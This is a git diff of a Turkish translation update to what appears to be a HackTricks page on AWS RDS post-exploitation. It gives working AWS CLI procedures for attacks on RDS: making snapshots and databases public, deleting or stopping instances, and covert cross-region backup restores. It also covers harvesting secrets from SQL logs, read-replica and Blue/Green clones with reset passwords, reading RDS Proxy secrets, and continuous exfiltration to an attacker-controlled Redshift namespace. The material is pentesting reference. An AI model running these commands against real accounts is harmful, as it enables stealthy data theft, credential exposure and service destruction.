mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## RDS
|
||||
|
||||
Daha fazla bilgi için bakınız:
|
||||
Daha fazla bilgi için bakın:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-relational-database-rds-enum.md
|
||||
@@ -12,7 +12,7 @@ Daha fazla bilgi için bakınız:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Eğer saldırgan yeterli izinlere sahipse, DB'nin snapshot'unu oluşturarak ve snapshot'tan **genel erişime açık bir DB** oluşturarak DB'yi genel erişime açık hale getirebilir.
|
||||
Eğer saldırganın yeterli izinleri varsa, DB'nin bir snapshot'unu oluşturarak ve bu snapshot'tan halka açık bir DB oluşturarak bir **DB'yi herkese açık hale getirebilir.**
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -39,21 +39,50 @@ aws rds modify-db-instance \
|
||||
# Connect to the new DB after a few mins
|
||||
```
|
||||
### `rds:StopDBCluster` & `rds:StopDBInstance`
|
||||
Bir saldırganın rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip olması, bir RDS örneğinin veya tüm bir kümenin derhal durdurulmasını zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağımlı süreçlerin kesintiye uğramasına neden olur.
|
||||
rds:StopDBCluster veya rds:StopDBInstance izinlerine sahip bir saldırgan, bir RDS instance'ını veya tüm bir cluster'ı anında durdurmaya zorlayabilir; bu da veritabanının kullanılamaz hale gelmesine, bağlantıların kopmasına ve veritabanına bağlı süreçlerin kesintiye uğramasına neden olur.
|
||||
|
||||
Tek bir DB örneğini durdurmak için (örnek):
|
||||
Tek bir DB instance'ını durdurmak için (örnek):
|
||||
```bash
|
||||
aws rds stop-db-instance \
|
||||
--db-instance-identifier <DB_INSTANCE_IDENTIFIER>
|
||||
```
|
||||
Tüm bir DB cluster'ı durdurmak için (örnek):
|
||||
Tüm DB kümesini durdurmak için (örnek):
|
||||
```bash
|
||||
aws rds stop-db-cluster \
|
||||
--db-cluster-identifier <DB_CLUSTER_IDENTIFIER>
|
||||
```
|
||||
### `rds:Modify*`
|
||||
|
||||
rds:Modify* izinleri verilen bir saldırgan, instance veya cluster’a doğrudan dokunmadan kritik yapılandırmaları ve yardımcı kaynakları (parameter groups, option groups, proxy endpoints and endpoint-groups, target groups, subnet groups, capacity settings, snapshot/cluster attributes, certificates, integrations, vb.) değiştirebilir. Bağlantı/zaman aşımı parametrelerini ayarlamak, bir proxy endpoint’i değiştirmek, hangi sertifikaların güvenilir olduğunu değiştirmek, mantıksal kapasiteyi değiştirmek veya bir subnet group’u yeniden yapılandırmak gibi değişiklikler güvenliği zayıflatabilir (yeni erişim yolları açar), yönlendirmeyi ve load-balancing’i bozabilir, replika/yedekleme politikalarını geçersiz kılabilir ve genel olarak erişilebilirlik veya kurtarılabilirliği düşürebilir. Bu değişiklikler ayrıca dolaylı veri sızdırılmasını kolaylaştırabilir veya bir olay sonrası veritabanının düzenli bir şekilde kurtarılmasını zorlaştırabilir.
|
||||
|
||||
Bir RDS subnet group'a atanmış subnets'i taşıyın veya değiştirin:
|
||||
```bash
|
||||
aws rds modify-db-subnet-group \
|
||||
--db-subnet-group-name <db-subnet-group-name> \
|
||||
--subnet-ids <subnet-id-1> <subnet-id-2>
|
||||
```
|
||||
Bir cluster parameter group'taki düşük seviyeli engine parametrelerini değiştirin:
|
||||
```bash
|
||||
aws rds modify-db-cluster-parameter-group \
|
||||
--db-cluster-parameter-group-name <parameter-group-name> \
|
||||
--parameters "ParameterName=<parameter-name>,ParameterValue=<value>,ApplyMethod=immediate"
|
||||
```
|
||||
### `rds:Restore*`
|
||||
|
||||
rds:Restore* izinlerine sahip bir saldırgan, snapshots, automated backups, point-in-time recovery (PITR) veya S3'te saklanan dosyalardan tüm veritabanlarını geri yükleyerek seçilen noktadaki verilerle doldurulmuş yeni instances veya clusters oluşturabilir. Bu işlemler orijinal kaynakların üzerine yazmaz — tarihsel verileri içeren yeni nesneler oluştururlar — bu sayede saldırgan veritabanının tam, çalışır kopyalarını (geçmiş zaman noktalarından veya harici S3 dosyalarından) elde edip bunları exfiltrate etme, tarihsel kayıtları manipüle etme veya önceki durumları yeniden kurma amacıyla kullanabilir.
|
||||
|
||||
Restore a DB instance to a specific point in time:
|
||||
```bash
|
||||
aws rds restore-db-instance-to-point-in-time \
|
||||
--source-db-instance-identifier <source-db-instance-identifier> \
|
||||
--target-db-instance-identifier <target-db-instance-identifier> \
|
||||
--restore-time "<restore-time-ISO8601>" \
|
||||
--db-instance-class <db-instance-class> \
|
||||
--publicly-accessible --no-multi-az
|
||||
```
|
||||
### `rds:Delete*`
|
||||
|
||||
rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını silebilir — DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups and related artifacts — bu da anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok edilmesine ve adli kanıt kaybına yol açar.
|
||||
rds:Delete* yetkisi verilen bir saldırgan RDS kaynaklarını kaldırabilir; DB instances, clusters, snapshots, automated backups, subnet groups, parameter/option groups ve related artifacts silebilir; bu durum anında hizmet kesintisine, veri kaybına, kurtarma noktalarının yok olmasına ve adli kanıtların kaybına yol açar.
|
||||
```bash
|
||||
# Delete a DB instance (creates a final snapshot unless you skip it)
|
||||
aws rds delete-db-instance \
|
||||
@@ -76,9 +105,9 @@ aws rds delete-db-cluster \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Bu izinlere sahip bir saldırgan **bir DB'nin snapshot'unu oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Sonrasında, bu snapshot'tan kendi hesabında bir DB oluşturabilir.
|
||||
Bu izinlere sahip bir saldırgan **bir DB'nin snapshot'ını oluşturabilir** ve bunu **herkese** **açık** hale getirebilir. Ardından kendi hesabında bu snapshot'tan bir DB oluşturabilir.
|
||||
|
||||
Eğer saldırgan **`rds:CreateDBSnapshot`'a sahip değilse**, yine de oluşturulmuş **diğer** snapshot'ları **herkese açık** yapabilir.
|
||||
Eğer saldırgan **`rds:CreateDBSnapshot` iznine sahip değilse**, yine de **diğer** oluşturulmuş snapshot'ları **herkese açık** yapabilir.
|
||||
```bash
|
||||
# create snapshot
|
||||
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
|
||||
@@ -89,37 +118,37 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan **RDS instance'ının log dosyalarının bölümlerini indirebilir**. Hassas veriler veya erişim kimlik bilgileri kazara loglanmışsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
|
||||
`rds:DownloadDBLogFilePortion` iznine sahip bir saldırgan, **bir RDS instance'ının log dosyalarının belirli bölümlerini indirebilir**. Eğer hassas veriler veya erişim kimlik bilgileri kazara loglanırsa, saldırgan bu bilgileri ayrıcalıklarını yükseltmek veya yetkisiz işlemler gerçekleştirmek için kullanabilir.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Potential Impact**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.
|
||||
**Potansiyel Etki**: Hassas bilgilere erişim veya leaked credentials kullanılarak yetkisiz işlemler.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
Bu izinlere sahip bir saldırgan **mevcut RDS instance'larına DoS** uygulayabilir.
|
||||
Bu izinlere sahip bir saldırgan **DoS existing RDS instances** gerçekleştirebilir.
|
||||
```bash
|
||||
# Delete
|
||||
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
|
||||
```
|
||||
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve potansiyel veri kaybı.
|
||||
**Olası etki**: Mevcut RDS örneklerinin silinmesi ve olası veri kaybı.
|
||||
|
||||
### `rds:StartExportTask`
|
||||
|
||||
> [!NOTE]
|
||||
> Yapılacak: Test
|
||||
> TODO: Test
|
||||
|
||||
Bu izne sahip bir saldırgan **bir RDS instance snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrolü varsa, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
|
||||
Bu izne sahip bir saldırgan **RDS örneğinin snapshot'ını bir S3 bucket'a dışa aktarabilir**. Eğer saldırgan hedef S3 bucket üzerinde kontrol sahibi ise, dışa aktarılan snapshot içindeki hassas verilere erişebilir.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
**Potential impact**: Dışa aktarılmış snapshot içindeki hassas verilere erişim.
|
||||
**Potansiyel etki**: Dışa aktarılan snapshot içindeki hassas verilere erişim.
|
||||
|
||||
### Gizli Geri Yükleme için Bölge-Ötesi Otomatik Yedeklerin Çoğaltılması (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
### Gizli Geri Yükleme için Bölge-Arası Otomatik Yedeklerin Replikasyonu (`rds:StartDBInstanceAutomatedBackupsReplication`)
|
||||
|
||||
Bölge-ötesi otomatik yedeklerin çoğaltılmasını kötüye kullanarak bir RDS instance'ının otomatik yedeklerini sessizce başka bir AWS Region'a kopyalayın ve orada geri yükleyin. Saldırgan, geri yüklenen DB'yi kamuya açık hale getirebilir ve ana parolayı sıfırlayarak savunucuların izlemediği bir Region'da out-of-band olarak verilere erişebilir.
|
||||
Bölge-arası otomatik yedeklerin replikasyonunu kötüye kullanarak bir RDS instance'ının otomatik yedeklerini başka bir AWS Region'a sessizce çoğaltabilir ve orada geri yükleyebilirsiniz. Saldırgan daha sonra geri yüklenen DB'yi genel erişime açıp master parolayı sıfırlayarak, savunma ekiplerinin izlemediği bir Region'da veriye out-of-band erişim sağlayabilir.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Gerekli izinler (asgari):
|
||||
- `rds:StartDBInstanceAutomatedBackupsReplication` in the destination Region
|
||||
- `rds:DescribeDBInstanceAutomatedBackups` in the destination Region
|
||||
- `rds:RestoreDBInstanceToPointInTime` in the destination Region
|
||||
@@ -127,7 +156,7 @@ Permissions needed (minimum):
|
||||
- `rds:StopDBInstanceAutomatedBackupsReplication` (optional cleanup)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (to expose the restored DB)
|
||||
|
||||
Impact: Kalıcılık ve üretim verilerinin bir kopyasını başka bir Region'a geri yükleyip saldırgan kontrollü kimlik bilgileriyle kamuya açarak veri sızdırma.
|
||||
Etkisi: Üretim verisinin bir kopyasını başka bir Region'a geri yükleyip, saldırgan kontrollü kimlik bilgileriyle bunu genel erişime açarak persistence ve data exfiltration gerçekleştirilmesi.
|
||||
|
||||
<details>
|
||||
<summary>Uçtan uca CLI (yer tutucuları değiştirin)</summary>
|
||||
@@ -199,26 +228,26 @@ aws rds stop-db-instance-automated-backups-replication \
|
||||
</details>
|
||||
|
||||
|
||||
### DB parameter grupları aracılığıyla tam SQL kaydını etkinleştirin ve RDS log API'leri üzerinden veri sızdırın
|
||||
### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log API'leri ile exfiltrate et
|
||||
|
||||
`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştirin ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çekin (veya REST `downloadCompleteLogFile`). secrets/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.
|
||||
`rds:ModifyDBParameterGroup`'ı RDS log download API'leri ile kötüye kullanarak uygulamalar tarafından çalıştırılan tüm SQL ifadelerini yakala (DB engine kimlik bilgileri gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çek. Sırlar/PII/JWTs içerebilecek sorguları toplamak için kullanışlıdır.
|
||||
|
||||
Gerekli izinler (asgari):
|
||||
Gerekli izinler (minimum):
|
||||
- `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
|
||||
- `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
|
||||
- `rds:ModifyDBInstance` (yalnızca örnek default bir parameter group kullanıyorsa custom bir parameter group eklemek için)
|
||||
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, ör. PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (sadece instance varsayılan parameter group kullanıyorsa custom parameter group eklemek için)
|
||||
- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL)
|
||||
|
||||
Steps
|
||||
1) Recon hedefi ve mevcut parameter grubunu tespit edin
|
||||
Adımlar
|
||||
1) Hedefi ve mevcut parameter group'u keşfet
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Özel bir DB parameter group'un iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez)
|
||||
- Eğer instance zaten özel bir DB parameter group kullanıyorsa, bir sonraki adımda adını yeniden kullanın.
|
||||
- Aksi takdirde engine family ile eşleşen bir tane oluşturup iliştirin:
|
||||
2) Özel bir DB parameter group'un iliştirilmiş olduğundan emin olun (varsayılanı düzenleyemezsiniz)
|
||||
- Eğer instance zaten bir custom group kullanıyorsa, bir sonraki adımda ismini yeniden kullanın.
|
||||
- Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -232,8 +261,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Ayrıntılı SQL logging'i etkinleştirin
|
||||
- MySQL engines (anında / yeniden başlatma gerektirmez):
|
||||
3) Ayrıntılı SQL logging'i etkinleştir
|
||||
- MySQL motorları (anında / yeniden başlatma gerekmez):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -244,7 +273,7 @@ aws rds modify-db-parameter-group \
|
||||
# "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \
|
||||
# "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate"
|
||||
```
|
||||
- PostgreSQL motorları (yeniden başlatma gerekli):
|
||||
- PostgreSQL engine'leri (yeniden başlatma gerekli):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -256,11 +285,11 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) İş yükünün çalışmasına izin ver (veya sorgular üret). İfadeler engine file loglarına yazılacaktır
|
||||
4) İş yükünü çalıştırın (veya sorgular oluşturun). SQL ifadeleri engine file loglarına yazılacaktır
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
5) Logları keşfet ve indir (no DB creds required)
|
||||
5) Logları keşfedin ve indirin (DB creds gerekmez)
|
||||
```bash
|
||||
aws rds describe-db-log-files --db-instance-identifier <DB>
|
||||
|
||||
@@ -271,7 +300,7 @@ aws rds download-db-log-file-portion \
|
||||
--starting-token 0 \
|
||||
--output text > dump.log
|
||||
```
|
||||
6) Çevrimdışı olarak hassas verileri analiz et
|
||||
6) Hassas verileri çevrimdışı analiz et
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
@@ -282,7 +311,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
|
||||
```
|
||||
Temizlik
|
||||
- Parametreleri varsayılanlara geri döndürün ve gerekirse yeniden başlatın:
|
||||
- Parametreleri varsayılanlara geri al ve gerekiyorsa yeniden başlat:
|
||||
```bash
|
||||
# MySQL
|
||||
aws rds modify-db-parameter-group \
|
||||
@@ -297,19 +326,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Etkisi: Post-exploitation aşamasında, AWS API'leri aracılığıyla tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi (DB kimlik bilgisi gerekmez), potansiyel olarak secrets, JWTs ve PII leaking.
|
||||
Etkisi: Post-exploitation aşamasında, AWS API'leri aracılığıyla (DB kimlik bilgileri olmadan) tüm uygulama SQL ifadelerinin yakalanmasıyla veri erişimi; potansiyel olarak secrets, JWTs ve PII'nin leak'ine yol açabilir.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS read replicas'ı kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'dan bir read replica oluşturabilir, replikasının master password'ünü sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replikayı halka açık hale getirebilir.
|
||||
RDS read replicas'i suistimal ederek primary instance'ın kimlik bilgilerine dokunmadan out-of-band read access elde edilebilir. Bir saldırgan production instance'dan bir read replica oluşturabilir, replica'nın master password'ünü sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replica'yı public olarak açabilir.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Gerekli izinler (minimum):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (eğer public olarak açılıyorsa)
|
||||
|
||||
Etkisi: Saldırgan tarafından kontrol edilen kimlik bilgileriyle replikaya erişim üzerinden production verilerine read-only erişim; primary dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
|
||||
Etkisi: Saldırgan kontrollü kimlik bilgileriyle bir replica üzerinden production verilerine salt-okunur erişim; primary'a dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -340,13 +369,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# Optional: promote for persistence
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Example evidence (MySQL):
|
||||
- Replika DB durumu: `available`, read replication: `replicating`
|
||||
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replika erişiminin doğrulanması.
|
||||
Örnek kanıt (MySQL):
|
||||
- Replika DB durumu: `available`, okuma replikasyonu: `replicating`
|
||||
- Yeni parola ile başarılı bağlantı ve `@@read_only=1` değeri, salt okunur replika erişimini doğruladı.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
RDS Blue/Green'i suistimal ederek üretim DB'yi sürekli çoğaltılan, salt okunur bir green ortama klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) örneğine dokunmadan verilere erişin. Bu, snapshot paylaşımından daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
|
||||
RDS Blue/Green'i kötüye kullanarak üretim DB'yi sürekli replikasyonlu, salt okunur green ortamına klonlayın. Ardından green master kimlik bilgilerini sıfırlayarak blue (prod) instance'a dokunmadan verilere erişin. Bu, snapshot sharing'e göre daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır.
|
||||
```bash
|
||||
# 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
|
||||
aws rds describe-db-instances \
|
||||
@@ -393,22 +422,22 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Etkisi: Yalnızca okunur; üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir klonuna tam veri erişimi sağlar. Gizli veri çıkarımı ve çevrimdışı analiz için faydalıdır.
|
||||
Etkisi: Salt-okuma ancak üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir kopyasına tam veri erişimi. Gizli veri çıkarımı ve çevrimdışı analiz için faydalı.
|
||||
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
### RDS Data API ile dış-kanal SQL — HTTP endpoint etkinleştirip master şifreyi sıfırlayarak
|
||||
|
||||
Aurora'yı hedef bir cluster üzerinde RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzde olan bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
|
||||
Aurora'yı kötüye kullanarak hedef kümede RDS Data API HTTP endpoint'ini etkinleştirin, master şifreyi kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Bu, Data API/EnableHttpEndpoint'ı destekleyen Aurora motorlarında çalışır (örn. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri).
|
||||
|
||||
İzinler (asgari):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
|
||||
|
||||
Etkisi: Ağ segmentasyonunu atlatarak AWS API'leri üzerinden doğrudan VPC bağlantısı olmadan DB'den veri sızdırma.
|
||||
Etkisi: Ağ segmentasyonunu atlayarak DB'ye doğrudan VPC bağlantısı olmadan AWS APIs üzerinden veri sızdırmak.
|
||||
|
||||
<details>
|
||||
<summary>Uçtan uca CLI (Aurora MySQL example)</summary>
|
||||
<summary>Uçtan uca CLI (Aurora MySQL örneği)</summary>
|
||||
```bash
|
||||
# 1) Identify target cluster ARN
|
||||
REGION=us-east-1
|
||||
@@ -460,24 +489,24 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
```
|
||||
</details>
|
||||
|
||||
Notes:
|
||||
- Eğer rds-data tarafından multi-statement SQL reddediliyorsa, ayrı execute-statement çağrıları yapın.
|
||||
- modify-db-cluster --enable-http-endpoint etkili olmayan engine'ler için rds enable-http-endpoint --resource-arn kullanın.
|
||||
- Engine/version'ın gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalacaktır.
|
||||
Notlar:
|
||||
- Eğer rds-data çoklu ifadeli SQL'i reddediyorsa, ayrı execute-statement çağrıları yapın.
|
||||
- modify-db-cluster --enable-http-endpoint'in etkili olmadığı motorlar için, rds enable-http-endpoint --resource-arn kullanın.
|
||||
- Motorun/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalır.
|
||||
|
||||
|
||||
### RDS Proxy auth secret'leri aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### RDS Proxy kimlik doğrulama secret'ları aracılığıyla DB kimlik bilgilerini toplama (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Secret bir CMK kullanıyorsa, yanlış kapsamlı KMS izinleri ayrıca `kms:Decrypt` yetkisi verebilir.
|
||||
RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, hatalı tanımlanmış KMS izinleri `kms:Decrypt`'e de izin verebilir.
|
||||
|
||||
Permissions needed (minimum):
|
||||
Gerekli izinler (asgari):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` referans verilen SecretArn üzerinde
|
||||
- Secret bir CMK kullandığında isteğe bağlı: o anahtar üzerinde `kms:Decrypt`
|
||||
- Referans verilen SecretArn üzerinde `secretsmanager:GetSecretValue`
|
||||
- Secret bir CMK kullanıyorsa isteğe bağlı: o anahtar üzerinde `kms:Decrypt`
|
||||
|
||||
Impact: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının derhal ifşa olması; doğrudan DB erişimi veya daha fazla lateral hareket sağlar.
|
||||
Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya further lateral movement sağlar.
|
||||
|
||||
Steps
|
||||
Adımlar
|
||||
```bash
|
||||
# 1) Enumerate proxies and extract the SecretArn used for auth
|
||||
aws rds describe-db-proxies \
|
||||
@@ -516,15 +545,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Aurora zero‑ETL ile Amazon Redshift'e gizli sürekli veri sızdırma (rds:CreateIntegration)
|
||||
### Gizli ve sürekli exfiltration: Aurora zero‑ETL aracılığıyla Amazon Redshift'e (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüzdeki bir Redshift Serverless namespace'ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisini veren gevşek bir Redshift kaynak politikasıyla bir saldırgan, DB creds, snapshots veya network exposure olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
|
||||
Aurora PostgreSQL zero‑ETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüz altındaki bir Redshift Serverless namespace'ine sürekli olarak çoğaltın. Belirli bir Aurora cluster ARN'si için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren esnek bir Redshift kaynak politikası ile bir saldırgan, DB kimlik bilgileri, snapshot'lar veya ağ maruziyeti olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir.
|
||||
|
||||
Gerekli izinler (minimum):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulama için)
|
||||
- `rds-data:ExecuteStatement` (opsiyonel; gerekiyorsa veri eklemek için)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -576,7 +605,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'i etkinleştirin)</summary>
|
||||
<summary>3) Aurora PostgreSQL kümesi oluştur (Data API ve logical replication etkinleştir)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -619,7 +648,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
|
||||
</details>
|
||||
|
||||
<details>
|
||||
